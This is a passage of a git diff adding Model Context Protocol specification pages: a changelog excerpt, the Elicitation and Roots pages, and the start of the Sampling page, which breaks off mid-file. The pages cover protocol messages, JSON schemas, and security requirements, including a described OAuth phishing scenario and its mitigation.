+ directories or files via tool parameters, resource URIs, or server
+ configuration instead of Roots; integrate directly with LLM provider APIs
+ instead of Sampling; log to `stderr` (stdio) or use OpenTelemetry instead of
+ Logging.
+
+2. Reclassify the HTTP+SSE transport (deprecated since protocol version
+ `2025-03-26`) as Deprecated under the feature lifecycle policy
+ ([SEP-2596](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2596)).
+ Migrate to [Streamable HTTP](/specification/2026-07-28/basic/transports/streamable-http).
+
+3. Reclassify the `includeContext` values `"thisServer"` and `"allServers"`
+ (soft-deprecated since protocol version `2025-11-25`) as Deprecated
+ ([SEP-2596](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2596)).
+ Omit the field or use `"none"`; these values will be removed no later than
+ the Sampling feature itself.
+
+4. Deprecate the OAuth 2.0 Dynamic Client Registration Protocol
+ ([RFC7591](https://datatracker.ietf.org/doc/html/rfc7591)) as a client registration
+ mechanism in favor of
+ [Client ID Metadata Documents](/specification/2026-07-28/basic/authorization/client-registration#client-id-metadata-documents)
+ ([PR #2858](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2858)).
+ It remains available for backwards compatibility with authorization servers that do
+ not support Client ID Metadata Documents.
+
+## Other schema changes
+
+1. `schema.json` now correctly reflects that the Typescript definition of minimum/maximum/default are `number`'s and not just `integers`. This was caused by running the generator using `--defaultNumberType integer` ([PR#2710](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2710)).
+
+## Governance and process updates
+
+1. Adopt a specification
+ [feature lifecycle and deprecation policy](/community/feature-lifecycle)
+ defining the Active, Deprecated, and Removed feature states, a minimum
+ twelve-month deprecation window, and a
+ [registry of deprecated features](/specification/2026-07-28/deprecated)
+ ([SEP-2596](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2596)).
+
+## Process changes
+
+1. Formalize PR-based SEP workflow with markdown files in `seps/` directory, PR-derived numbering, sponsor responsibilities, and status management via PR labels ([SEP-1850](https://github.com/modelcontextprotocol/specification/pull/1850)).
+
+## Full changelog
+
+For a complete list of all changes that have been made since the last protocol revision,
+[see GitHub](https://github.com/modelcontextprotocol/specification/compare/2025-11-25...draft).
diff --git a/content/mcp/specification/2026-07-28/client/elicitation.md b/content/mcp/specification/2026-07-28/client/elicitation.md
new file mode 100644
index 000000000..bdde2c07a
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/client/elicitation.md
@@ -0,0 +1,669 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Elicitation
+
+
+
+The Model Context Protocol (MCP) provides a standardized way for servers to request additional
+information from users through the client during interactions. This flow allows clients to
+maintain control over user interactions and data sharing while enabling servers to gather
+necessary information dynamically.
+
+Elicitation supports two modes:
+
+* **Form mode**: Servers can request structured data from users with optional JSON schemas to validate responses
+* **URL mode**: Servers can direct users to external URLs for sensitive interactions that must *not* pass through the MCP client
+
+## User Interaction Model
+
+Elicitation in MCP allows servers to implement interactive workflows by enabling user input
+requests to occur *nested* inside other MCP server features.
+
+Implementations are free to expose elicitation through any interface pattern that suits
+their needs—the protocol itself does not mandate any specific user interaction
+model.
+
+
+ For trust & safety and security:
+
+ * Servers **MUST NOT** use form mode elicitation to request sensitive information such as
+ passwords, API keys, access tokens, or payment credentials
+ * Servers **MUST** use [URL mode](#url-mode-elicitation-requests) for interactions involving
+ such sensitive information
+
+ "Sensitive information" in this context refers to secrets and credentials that grant access or
+ authorize transactions. General contact or profile information (such as a name, email address,
+ or username) is not categorically prohibited; whether to request such data via form mode is at
+ the discretion of the server and subject to the user's ability to review and decline.
+
+ MCP clients **MUST**:
+
+ * Provide UI that makes it clear which server is requesting information
+ * Respect user privacy and provide clear decline and cancel options
+ * For form mode, allow users to review and modify their responses before sending
+ * For URL mode, clearly display the target domain/host and gather user consent before navigation to the target URL
+
+
+## Capabilities
+
+Clients that support elicitation **MUST** declare the `elicitation` capability in
+`_meta.io.modelcontextprotocol/clientCapabilities` on each request:
+
+```json theme={null}
+{
+ "_meta": {
+ "io.modelcontextprotocol/clientCapabilities": {
+ "elicitation": {
+ "form": {},
+ "url": {}
+ }
+ }
+ }
+}
+```
+
+For backwards compatibility, an empty capabilities object is equivalent to declaring support for `form` mode only:
+
+```jsonc theme={null}
+{
+ "_meta": {
+ "io.modelcontextprotocol/clientCapabilities": {
+ "elicitation": {}, // Equivalent to { "form": {} }
+ },
+ },
+}
+```
+
+Clients declaring the `elicitation` capability **MUST** support at least one mode (`form` or `url`).
+
+Servers **MUST NOT** send elicitation requests with modes that are not supported by the client.
+
+## Protocol Messages
+
+### Elicitation Requests
+
+Servers **MAY** request information from a user during the processing of a client request, by sending an [`InputRequiredResult`](/specification/2026-07-28/basic/patterns/mrtr#inputrequiredresult)
+containing an `elicitation/create` request.
+
+All elicitation requests **MUST** include the following parameters:
+
+| Name | Type | Options | Description |
+| --------- | ------ | ------------- | -------------------------------------------------------------------------------------- |
+| `mode` | string | `form`, `url` | The mode of the elicitation. Optional for form mode (defaults to `"form"` if omitted). |
+| `message` | string | | A human-readable message explaining why the interaction is needed. |
+
+The `mode` parameter specifies the type of elicitation:
+
+* `"form"`: In-band structured data collection with optional schema validation. Data is exposed to the client.
+* `"url"`: Out-of-band interaction via URL navigation. Data (other than the URL itself) is **not** exposed to the client.
+
+For backwards compatibility, servers **MAY** omit the `mode` field for form mode elicitation requests. Clients **MUST** treat requests without a `mode` field as form mode.
+
+### Form Mode Elicitation Requests
+
+Form mode elicitation allows servers to collect structured data directly through the MCP client.
+
+Form mode elicitation requests **MUST** either specify `mode: "form"` or omit the `mode` field, and include these additional parameters:
+
+| Name | Type | Description |
+| ----------------- | ------ | -------------------------------------------------------------- |
+| `requestedSchema` | object | A JSON Schema defining the structure of the expected response. |
+
+#### Requested Schema
+
+The `requestedSchema` parameter allows servers to define the structure of the expected
+response using a restricted subset of JSON Schema.
+
+To simplify client user experience, form mode elicitation schemas are limited to flat objects
+with primitive properties only.
+
+The schema is restricted to these primitive types:
+
+1. **String Schema**
+
+ ```json theme={null}
+ {
+ "type": "string",
+ "title": "Display Name",
+ "description": "Description text",
+ "minLength": 3,
+ "maxLength": 50,
+ "format": "email",
+ "default": "user@example.com"
+ }
+ ```
+
+ Supported formats: `email`, `uri`, `date`, `date-time`
+
+2. **Number Schema**
+
+ ```json theme={null}
+ {
+ "type": "number", // or "integer"
+ "title": "Display Name",
+ "description": "Description text",
+ "minimum": 0,
+ "maximum": 100,
+ "default": 50
+ }
+ ```
+
+3. **Boolean Schema**
+
+ ```json theme={null}
+ {
+ "type": "boolean",
+ "title": "Display Name",
+ "description": "Description text",
+ "default": false
+ }
+ ```
+
+4. **Enum Schema**
+
+ Single-select enum (without titles):
+
+ ```json theme={null}
+ {
+ "type": "string",
+ "title": "Color Selection",
+ "description": "Choose your favorite color",
+ "enum": ["Red", "Green", "Blue"],
+ "default": "Red"
+ }
+ ```
+
+ Single-select enum (with titles):
+
+ ```json theme={null}
+ {
+ "type": "string",
+ "title": "Color Selection",
+ "description": "Choose your favorite color",
+ "oneOf": [
+ { "const": "#FF0000", "title": "Red" },
+ { "const": "#00FF00", "title": "Green" },
+ { "const": "#0000FF", "title": "Blue" }
+ ],
+ "default": "#FF0000"
+ }
+ ```
+
+ Multi-select enum (without titles):
+
+ ```json theme={null}
+ {
+ "type": "array",
+ "title": "Color Selection",
+ "description": "Choose your favorite colors",
+ "minItems": 1,
+ "maxItems": 2,
+ "items": {
+ "type": "string",
+ "enum": ["Red", "Green", "Blue"]
+ },
+ "default": ["Red", "Green"]
+ }
+ ```
+
+ Multi-select enum (with titles):
+
+ ```json theme={null}
+ {
+ "type": "array",
+ "title": "Color Selection",
+ "description": "Choose your favorite colors",
+ "minItems": 1,
+ "maxItems": 2,
+ "items": {
+ "anyOf": [
+ { "const": "#FF0000", "title": "Red" },
+ { "const": "#00FF00", "title": "Green" },
+ { "const": "#0000FF", "title": "Blue" }
+ ]
+ },
+ "default": ["#FF0000", "#00FF00"]
+ }
+ ```
+
+Clients can use this schema to:
+
+1. Generate appropriate input forms
+2. Validate user input before sending
+3. Provide better guidance to users
+
+All primitive types support optional default values to provide sensible starting points. Clients that support defaults SHOULD pre-populate form fields with these values.
+
+Note that complex nested structures, arrays of objects (beyond enums), and other advanced JSON Schema features are intentionally not supported to simplify client user experience.
+
+#### Example: Simple Text Request
+
+**Input request (delivered inside [`InputRequiredResult.inputRequests`](/specification/2026-07-28/basic/patterns/mrtr#inputrequests)):**
+
+```json theme={null}
+{
+ "method": "elicitation/create",
+ "params": {
+ "mode": "form",
+ "message": "Please provide your GitHub username",
+ "requestedSchema": {
+ "type": "object",
+ "properties": {
+ "name": {
+ "type": "string"
+ }
+ },
+ "required": ["name"]
+ }
+ }
+}
+```
+
+**Client result (returned inside `inputResponses` on the retried request):**
+
+```json theme={null}
+{
+ "action": "accept",
+ "content": {
+ "name": "octocat"
+ }
+}
+```
+
+#### Example: Structured Data Request
+
+**Input request (delivered inside `InputRequiredResult.inputRequests`):**
+
+```json theme={null}
+{
+ "method": "elicitation/create",
+ "params": {
+ "mode": "form",
+ "message": "Please provide your contact information",
+ "requestedSchema": {
+ "type": "object",
+ "properties": {
+ "name": {
+ "type": "string",
+ "description": "Your full name"
+ },
+ "email": {
+ "type": "string",
+ "format": "email",
+ "description": "Your email address"
+ },
+ "age": {
+ "type": "number",
+ "minimum": 18,
+ "description": "Your age"
+ }
+ },
+ "required": ["name", "email"]
+ }
+ }
+}
+```
+
+**Client result (returned inside `inputResponses` on the retried request):**
+
+```json theme={null}
+{
+ "action": "accept",
+ "content": {
+ "name": "Monalisa Octocat",
+ "email": "octocat@github.com",
+ "age": 30
+ }
+}
+```
+
+### URL Mode Elicitation Requests
+
+
+ **New feature:** URL mode elicitation is introduced in the `2025-11-25` version of the MCP specification. Its design and implementation may change in future protocol revisions.
+
+
+URL mode elicitation enables servers to direct users to external URLs for out-of-band interactions that must not pass through the MCP client. This is essential for auth flows, payment processing, and other sensitive or secure operations.
+
+URL mode elicitation requests **MUST** specify `mode: "url"`, a `message`, and include these additional parameters:
+
+| Name | Type | Description |
+| ----- | ------ | ----------------------------------------- |
+| `url` | string | The URL that the user should navigate to. |
+
+The `url` parameter **MUST** contain a valid URL.
+
+
+ **Important**: URL mode elicitation is *not* for authorizing the MCP client's
+ access to the MCP server (that's handled by [MCP
+ authorization](../basic/authorization)). Instead, it's used when the MCP
+ server needs to obtain sensitive information or third-party authorization on
+ behalf of the user. The MCP client's bearer token remains unchanged. The
+ client's only responsibility is to provide the user with context about the
+ elicitation URL the server wants them to open.
+
+
+#### Example: Request Sensitive Data
+
+This example shows a URL mode elicitation request directing the user to a secure URL where they can provide sensitive information (an API key, for example).
+The same request could direct the user into an OAuth authorization flow, or a payment flow. The only difference is the URL and the message.
+
+**Input request (delivered inside `InputRequiredResult.inputRequests`):**
+
+```json theme={null}
+{
+ "method": "elicitation/create",
+ "params": {
+ "mode": "url",
+ "url": "https://mcp.example.com/ui/set_api_key",
+ "message": "Please provide your API key to continue."
+ }
+}
+```
+
+**Client result (returned inside `inputResponses` on the retried request):**
+
+```json theme={null}
+{
+ "action": "accept"
+}
+```
+
+The response with `action: "accept"` indicates that the user has consented to the
+interaction. It does not mean that the interaction is complete. The interaction occurs out
+of band and the client is not directly informed of the outcome. When the client retries
+the original request, the server determines from the echoed `requestState` (or its own
+stored state) whether the out-of-band interaction has completed, and either returns the
+final result or responds with another `InputRequiredResult`. Clients **SHOULD** provide
+manual controls that let the user retry or cancel the original request (or otherwise
+resume interacting with the client).
+
+## Message Flow
+
+### Form Mode Flow
+
+```mermaid theme={null}
+sequenceDiagram
+ participant User
+ participant Client
+ participant Server
+
+ Client->>Server: tools/call(id: 1)
+ note over Server: Server needs more info
+ Server-->>Client: InputRequiredResult(elicitation/create (mode: form))
+
+ Note over User,Client: Present elicitation UI
+ User-->>Client: Provide requested information
+
+ Note over Server,Client: Retry request with new information
+ Client->>Server: tools/call(id: 2, user response)
+ Server-->>Client: Result(id: 2, result)
+```
+
+### URL Mode Flow
+
+```mermaid theme={null}
+sequenceDiagram
+ participant UserAgent as User Agent (Browser)
+ participant User
+ participant Client
+ participant Server
+
+ Client->>Server: tools/call(id: 1)
+ Note over Server: Server needs more info Server creates requestState encoding url info.
+ Server-->>Client: InputRequiredResult(elicitation/create (mode: url), requestState)
+
+ Client->>User: Present consent to open URL
+ User-->>Client: Provide consent
+
+ Client->>UserAgent: Open URL
+ Client->>Server: tools/call(id: 2, Accept Response, requestState))
+ Note over Server: Server uses requestState to discover url info. It may need to block until the request is fulfilled.
+
+ Note over User,UserAgent: User interaction
+ UserAgent-->>Server: Interaction complete
+
+ Note over Server: Continue processing with new information
+ Server-->Client: Result(id: 2, result)
+```
+
+## Response Actions
+
+Elicitation responses use a three-action model to clearly distinguish between different user actions. These actions apply to both form and URL elicitation modes.
+
+```json theme={null}
+{
+ "action": "accept", // or "decline" or "cancel"
+ "content": {
+ "propertyName": "value",
+ "anotherProperty": 42
+ }
+}
+```
+
+The three response actions are:
+
+1. **Accept** (`action: "accept"`): User explicitly approved and submitted with data
+ * For form mode: The `content` field contains the submitted data matching the requested schema
+ * For URL mode: The `content` field is omitted
+ * Example: User clicked "Submit", "OK", "Confirm", etc.
+
+2. **Decline** (`action: "decline"`): User explicitly declined the request
+ * The `content` field is typically omitted
+ * Example: User clicked "Reject", "Decline", "No", etc.
+
+3. **Cancel** (`action: "cancel"`): User dismissed without making an explicit choice
+ * The `content` field is typically omitted
+ * Example: User closed the dialog, clicked outside, pressed Escape, browser failed to load, etc.
+
+Servers should handle each state appropriately:
+
+* **Accept**: Process the submitted data
+* **Decline**: Handle explicit decline (e.g., offer alternatives)
+* **Cancel**: Handle dismissal (e.g., prompt again later)
+
+## Implementation Considerations
+
+### Statefulness
+
+Elicitations do not require that the server maintain state about users with the [multi round-trip requests](/specification/2026-07-28/basic/patterns/mrtr#multi-round-trip-requests) mechanism.
+
+However, if state is stored, servers implementing elicitation **MUST** securely associate this state with individual users following the guidelines in the [security best practices](/docs/draft/tutorials/security/security_best_practices) document. Specifically:
+
+* State storage **MUST** be protected against unauthorized access
+* For remote MCP servers, user identification **MUST** be derived from credentials acquired via [MCP authorization](../basic/authorization) when possible (e.g. `sub` claim)
+
+
+ The examples in this section are non-normative and illustrate potential uses
+ of elicitation. Implementers should adapt these patterns to their specific
+ requirements while maintaining security best practices.
+
+
+### URL Mode Elicitation for Sensitive Data
+
+For servers that interact with external APIs requiring sensitive information (e.g., credentials, payment information), URL mode elicitation provides a secure mechanism for users to provide this information without exposing it to the MCP client.
+
+In this pattern:
+
+1. The server directs users to a secure web page (served over HTTPS)
+2. The page presents a branded form UI on a domain the user trusts
+3. Users enter sensitive credentials directly into the secure form
+4. The server stores credentials securely, bound to the user's identity
+5. Subsequent MCP requests use these stored credentials for API access
+
+This approach ensures that sensitive credentials never pass through the LLM context, MCP client or any intermediate MCP servers, reducing the risk of exposure through client-side logging or other attack vectors.
+
+### URL Mode Elicitation for OAuth Flows
+
+URL mode elicitation enables a pattern where MCP servers act as OAuth clients to third-party resource servers.
+Authorization with external APIs enabled by URL mode elicitation is separate from [MCP authorization](../basic/authorization). MCP servers **MUST NOT** rely on URL mode elicitation to authorize users for themselves.
+
+#### Understanding the Distinction
+
+* **MCP Authorization**: Required OAuth flow between the MCP client and MCP server (covered in the [authorization specification](../basic/authorization))
+* **External (third-party) Authorization**: Optional authorization between the MCP server and a third-party resource server, initiated via URL mode elicitation
+
+In external authorization, the server acts as both:
+
+* An OAuth resource server (to the MCP client)
+* An OAuth client (to the third-party resource server)
+
+Example scenario:
+
+* An MCP client connects to an MCP server
+* The MCP server integrates with various different third-party services
+* When the MCP client calls a tool that requires access to a third-party service, the MCP server needs credentials for that service
+
+The critical security requirements are:
+
+1. **The third-party credentials MUST NOT transit through the MCP client**: The client must never see third-party credentials to protect the security boundary
+2. **The MCP server MUST NOT use the client's credentials for the third-party service**: That would be [token passthrough](/docs/draft/tutorials/security/security_best_practices#token-passthrough), which is forbidden
+3. **The user MUST authorize the MCP server directly**: The interaction happens outside the MCP protocol, without involving the MCP client
+4. **The MCP server is responsible for tokens**: The MCP server is responsible for storing and managing the third-party tokens obtained through the URL mode elicitation (in other words, the MCP server must be stateful).
+
+Credentials obtained via URL mode elicitation are distinct from the MCP server credentials used by the MCP client. The MCP server **MUST NOT** transmit credentials obtained through URL mode elicitation to the MCP client.
+
+
+ For additional background, refer to the [token passthrough
+ section](/docs/draft/tutorials/security/security_best_practices#token-passthrough)
+ of the Security Best Practices document to understand why MCP servers cannot
+ act as pass-through proxies.
+
+
+#### Implementation Pattern
+
+When implementing external authorization via URL mode elicitation:
+
+1. The MCP server generates an authorization URL, acting as an OAuth client to the third-party service
+2. The MCP server stores internal state that associates (binds) the elicitation request with the user's identity.
+3. The MCP server sends a URL mode elicitation request to the client with a URL that can start the authorization flow and an optional `requestState` that encodes information about the elicitation request and user (if needed).
+4. The user completes the OAuth flow directly with the third-party authorization server
+5. The third-party authorization server redirects back to the MCP server
+6. The MCP server securely stores the third-party tokens, bound to the user's identity
+7. Future MCP requests can leverage these stored tokens for API access to the third-party resource server
+
+The following is a non-normative example of how this pattern could be implemented:
+
+```mermaid theme={null}
+sequenceDiagram
+ participant User
+ participant UserAgent as User Agent (Browser)
+ participant 3AS as 3rd Party AS
+ participant 3RS as 3rd Party RS
+ participant Client as MCP Client
+ participant Server as MCP Server
+
+ Client->>Server: tools/call
+ Note over Server: Needs 3rd-party authorization for user
+ Note over Server: Store state (bind the elicitation request to the user)
+ Note over Server: generate requestState that encodes information about the original request and user.
+ Server->>Client: InputRequiredResult (mode: "url", url: "https://mcp.example.com/connect?...", requestState)
+
+ Client->>User: Present consent to open URL
+ User->>Client: Provide consent
+ Client->>UserAgent: Open URL
+ Client->>Server: Accept response
+ UserAgent->>Server: Load connect route
+
+ Note over Server: Confirm: user is logged into MCP Server or MCP AS Confirm: elicitation user matches session user
+ Server->>UserAgent: Redirect to third-party authorization endpoint
+ UserAgent->>3AS: Load authorize route
+ Note over 3AS,User: User interaction (OAuth flow): User consents to scoped MCP Server access
+ 3AS->>UserAgent: redirect to MCP Server's redirect_uri
+ UserAgent->>Server: load redirect_uri page
+ Note over Server: Confirm: redirect_uri belongs to MCP Server
+ Server->>3AS: Exchange authorization code for OAuth tokens
+ 3AS->>Server: Grants tokens
+ Note over Server: Bind tokens to MCP user identity
+ Client->>Server: tools/call (ElicitResults, requestState)
+ Note over Server: Retrieve token bound to user identity
+ Server->>3RS: Call 3rd-party API
+```
+
+This pattern maintains clear security boundaries while enabling rich integrations with third-party services that require user authorization.
+
+## Error Handling
+
+Servers **SHOULD NOT** assume that elicitation requests will always succeed, and **MUST** handle cases where the user declines or cancels the elicitation, or where the client fails to process the request.
+
+## Security Considerations
+
+1. Servers **MUST** bind elicitation requests to the client and user identity
+2. Clients **MUST** provide clear indication of which server is requesting information
+3. Clients **SHOULD** implement user approval controls
+4. Clients **SHOULD** allow users to decline elicitation requests at any time
+5. Clients **SHOULD** present elicitation requests in a way that makes it clear what information is being requested and why
+
+### Safe URL Handling
+
+MCP servers requesting elicitation:
+
+1. **MUST NOT** include sensitive information about the end-user, including credentials, personally identifiable information, etc., in the URL sent to the client in a URL elicitation request.
+2. **MUST NOT** provide a URL which is pre-authenticated to access a protected resource, as the URL could be used to impersonate the user by a malicious client.
+3. **SHOULD NOT** include URLs intended to be clickable in any field of a form mode elicitation request.
+4. **SHOULD** use HTTPS URLs for non-development environments.
+
+These server requirements ensure that client implementations have clear rules about when to present a URL to the user, so that the client-side rules (below) can be consistently applied.
+
+Clients implementing URL mode elicitation **MUST** handle URLs carefully to prevent users from unknowingly clicking malicious links.
+
+When handling URL mode elicitation requests, MCP clients:
+
+1. **MUST NOT** automatically pre-fetch the URL or any of its metadata.
+2. **MUST NOT** open the URL without explicit consent from the user.
+3. **MUST** show the full URL to the user for examination before consent.
+4. **MUST** open the URL provided by the server in a secure manner that does not enable the client or LLM to inspect the content or user inputs.
+ For example, on iOS, [SFSafariViewController](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller) is good, but [WkWebView](https://developer.apple.com/documentation/webkit/wkwebview) is not.
+5. **SHOULD** highlight the domain of the URL to mitigate subdomain spoofing.
+6. **SHOULD** have warnings for ambiguous/suspicious URIs (i.e., containing Punycode).
+7. **SHOULD NOT** render URLs as clickable in any field of an elicitation request, except for the `url` field in a URL elicitation request (with the restrictions detailed above).
+
+### Identifying the User
+
+Servers **MUST NOT** rely on client-provided user identification without server verification, as this can be forged.
+Instead, servers **SHOULD** follow [security best practices](/docs/draft/tutorials/security/security_best_practices).
+
+Non-normative examples:
+
+* Incorrect: Treat user input like "I am [joe@example.com](mailto:joe@example.com)" as authoritative
+* Correct: Rely on [authorization](../basic/authorization) to identify the user
+
+### Form Mode Security
+
+1. Servers **MUST NOT** request sensitive information (passwords, API keys, etc.) via form mode
+2. Clients **SHOULD** validate all responses against the provided schema
+3. Servers **SHOULD** validate received data matches the requested schema
+
+#### Phishing
+
+URL mode elicitation returns a URL that an attacker can use to send to a victim. The MCP Server **MUST** verify the identity of the user who opens the URL before accepting information.
+
+Typically identity verification is done by leveraging the [MCP authorization server](../basic/authorization) to identify the user, through a session cookie or equivalent in the browser.
+
+For example, URL mode elicitation may be used to perform OAuth flows where the server acts as an OAuth client of another resource server. Without proper mitigation, the following phishing attack is possible:
+
+1. A malicious user (Alice) connected to a benign server triggers an elicitation request
+2. The benign server generates an authorization URL, acting as an OAuth client of a third-party authorization server
+3. Alice's client displays the URL and asks for consent
+4. Instead of clicking on the link, Alice tricks a victim user (Bob) of the same benign server into clicking it
+5. Bob opens the link and completes the authorization, thinking they are authorizing their own connection to the benign server
+6. The benign server receives a callback/redirect from the third-party authorization server, and assumes it's Alice's request
+7. The tokens for the third-party server are bound to Alice's session and identity, instead of Bob's, resulting in an account takeover
+
+To prevent this attack, the server **MUST** ensure that the user who started the elicitation request (the end-user who is accessing the server via the MCP client) is the same user who completes the authorization flow.
+
+There are many ways to achieve this and the best way will depend on the specific implementation.
+
+As a common, non-normative example, consider a case where the MCP server is accessible via the web and desires to perform a third-party authorization code flow.
+To prevent the phishing attack, the server would create a URL mode elicitation to `https://mcp.example.com/connect?...` rather than the third-party authorization endpoint.
+This "connect URL" must ensure the user who opened the page is the same user for whom the elicitation was generated.
+It would, for example, check that the user has a valid session cookie and that the session cookie is for the same user who was using the MCP client to generate the URL mode elicitation.
+This could be done by comparing the authoritative subject (`sub` claim) from the MCP server's authorization server to the subject from the session cookie.
+Once that page ensures the same user, it can send the user to the third-party authorization server at `https://example.com/authorize?...` where a normal OAuth flow can be completed.
+
+In other cases, the server may not be accessible via the web and may not be able to use a session cookie to identify the user.
+In this case, the server must use a different mechanism to identify that the user who opens the elicitation URL is the same user for whom the elicitation was generated.
+
+In all implementations, the server **MUST** ensure that the mechanism to determine the user's identity is resilient to attacks where an attacker can modify the elicitation URL.
diff --git a/content/mcp/specification/2026-07-28/client/roots.md b/content/mcp/specification/2026-07-28/client/roots.md
new file mode 100644
index 000000000..204a494d9
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/client/roots.md
@@ -0,0 +1,161 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Roots
+
+
+
+
+ **Deprecated**: The Roots feature is deprecated as of protocol version
+ `2026-07-28`
+ ([SEP-2577](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2577)).
+ Under the [feature lifecycle policy](/community/feature-lifecycle), it remains
+ in the specification for at least twelve months after this revision's release
+ before it becomes eligible for removal. New implementations **SHOULD NOT**
+ adopt it; existing implementations **SHOULD** migrate to passing directories
+ or files via tool parameters, resource URIs, or server configuration. See the
+ [deprecated features registry](/specification/2026-07-28/deprecated).
+
+
+The Model Context Protocol (MCP) provides a standardized way for clients to expose
+filesystem "roots" to servers. Roots inform servers about the directories and files the
+client considers relevant, so that servers can focus their operations accordingly. They
+are informational guidance rather than an access-control mechanism. The protocol does
+not enforce that servers stay within roots. Servers can request the list of roots from
+supporting clients.
+
+## User Interaction Model
+
+Roots in MCP are typically exposed through workspace or project configuration interfaces.
+
+For example, implementations could offer a workspace/project picker that allows users to
+select directories and files the server should have access to. This can be combined with
+automatic workspace detection from version control systems or project files.
+
+However, implementations are free to expose roots through any interface pattern that
+suits their needs—the protocol itself does not mandate any specific user
+interaction model.
+
+## Capabilities
+
+Clients that support roots **MUST** declare the `roots` capability in
+`_meta.io.modelcontextprotocol/clientCapabilities` on each request:
+
+```json theme={null}
+{
+ "_meta": {
+ "io.modelcontextprotocol/clientCapabilities": {
+ "roots": {}
+ }
+ }
+}
+```
+
+## Protocol Messages
+
+### Listing Roots
+
+To retrieve roots during the processing of a client request, servers send an `InputRequiredResult`
+containing a `roots/list` request:
+
+**Input request (delivered inside [`InputRequiredResult.inputRequests`](/specification/2026-07-28/basic/patterns/mrtr#inputrequests)):**
+
+```json theme={null}
+{
+ "method": "roots/list"
+}
+```
+
+**Client result (returned inside `inputResponses` on the retried request):**
+
+```json theme={null}
+{
+ "roots": [
+ {
+ "uri": "file:///home/user/projects/myproject",
+ "name": "My Project"
+ }
+ ]
+}
+```
+
+## Message Flow
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Server
+ participant Client
+
+ Note over Server,Client: Initial Request
+ Client->>Server: tools/call(id: 1)
+ Server-->>Client: InputRequiredResult(roots/list)
+ Client->>Server: tools/call(id: 2, inputResponses{key: roots} + requestState)
+```
+
+## Data Types
+
+### Root
+
+A root definition includes:
+
+* `uri`: Unique identifier for the root. This **MUST** be a `file://` URI in the current
+ specification.
+* `name`: Optional human-readable name for display purposes.
+
+Example roots for different use cases:
+
+#### Project Directory
+
+```json theme={null}
+{
+ "uri": "file:///home/user/projects/myproject",
+ "name": "My Project"
+}
+```
+
+#### Multiple Repositories
+
+```json theme={null}
+[
+ {
+ "uri": "file:///home/user/repos/frontend",
+ "name": "Frontend Repository"
+ },
+ {
+ "uri": "file:///home/user/repos/backend",
+ "name": "Backend Repository"
+ }
+]
+```
+
+## Error Handling
+
+If an error occurs, the client does not need to replay the initial call with an error message
+as the server is not waiting for a response with the `InputRequiredResult` pattern.
+
+## Security Considerations
+
+1. Clients **MUST**:
+ * Only expose roots with appropriate permissions
+ * Validate all root URIs to prevent path traversal
+ * Implement proper access controls
+ * Monitor root accessibility
+
+2. Servers **SHOULD**:
+ * Handle cases where roots become unavailable
+ * Respect root boundaries during operations
+ * Validate all paths against provided roots
+
+## Implementation Guidelines
+
+1. Clients **SHOULD**:
+ * Prompt users for consent before exposing roots to servers
+ * Provide clear user interfaces for root management
+ * Validate root accessibility before exposing
+ * Monitor for root changes
+
+2. Servers **SHOULD**:
+ * Check for roots capability before usage
+ * Respect root boundaries in operations
+ * Cache root information appropriately
diff --git a/content/mcp/specification/2026-07-28/client/sampling.md b/content/mcp/specification/2026-07-28/client/sampling.md
new file mode 100644
index 000000000..e298bc804
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/client/sampling.md
@@ -0,0 +1,681 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Sampling
+
+
+
+
+ **Deprecated**: The Sampling feature is deprecated as of protocol version
+ `2026-07-28`
+ ([SEP-2577](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2577)).
+ Under the [feature lifecycle policy](/community/feature-lifecycle), it remains
+ in the specification for at least twelve months after this revision's release
+ before it becomes eligible for removal. New implementations **SHOULD NOT**
+ adopt it; existing implementations **SHOULD** migrate to integrating directly
+ with LLM provider APIs. See the [deprecated features
+ registry](/specification/2026-07-28/deprecated).
+
+
+The Model Context Protocol (MCP) provides a standardized way for servers to request LLM
+sampling ("completions" or "generations") from language models via clients. This flow
+allows clients to maintain control over model access, selection, and permissions while
+enabling servers to leverage AI capabilities—with no server API keys necessary.
+Servers can request text, audio, or image-based interactions and optionally include
+context from MCP servers in their prompts.
+
+## User Interaction Model
+
+Sampling in MCP allows servers to implement agentic behaviors, by enabling LLM calls to
+occur *nested* inside other MCP server features.
+
+Implementations are free to expose sampling through any interface pattern that suits
+their needs—the protocol itself does not mandate any specific user interaction
+model.
+
+
+ For trust & safety and security, there **SHOULD** always
+ be a human in the loop with the ability to deny sampling requests.
+
+ Applications **SHOULD**:
+
+ * Provide UI that makes it easy and intuitive to review sampling requests
+ * Allow users to view and edit prompts before sending
+ * Present generated responses for review before delivery
+
+
+## Tools in Sampling
+
+Servers can request that the client's LLM use tools during sampling by providing a `tools` array and optional `toolChoice` configuration in their sampling requests. The tool definitions in the `tools` array are scoped to the sampling request — they don't need to correspond to registered tools. This enables servers to implement agentic behaviors where the LLM can call specially designated tools, receive results, and continue the conversation - all within a single sampling request flow.
+
+Clients **MUST** declare support for tool use via the `sampling.tools` capability to receive tool-enabled sampling requests. Servers **MUST NOT** send tool-enabled sampling requests to Clients that have not declared support for tool use via the `sampling.tools` capability.
+
+## Capabilities
+
+Clients that support sampling **MUST** declare the `sampling` capability in
+`_meta.io.modelcontextprotocol/clientCapabilities` on each request:
+
+**Basic sampling:**
+
+```json theme={null}
+{
+ "_meta": {
+ "io.modelcontextprotocol/clientCapabilities": {
+ "sampling": {}
+ }
+ }
+}
+```
+
+**With tool use support:**
+
+```json theme={null}
+{
+ "_meta": {
+ "io.modelcontextprotocol/clientCapabilities": {
+ "sampling": {
+ "tools": {}
+ }
+ }
+ }
+}
+```
+
+**With context inclusion support (deprecated):**
+
+```json theme={null}
+{
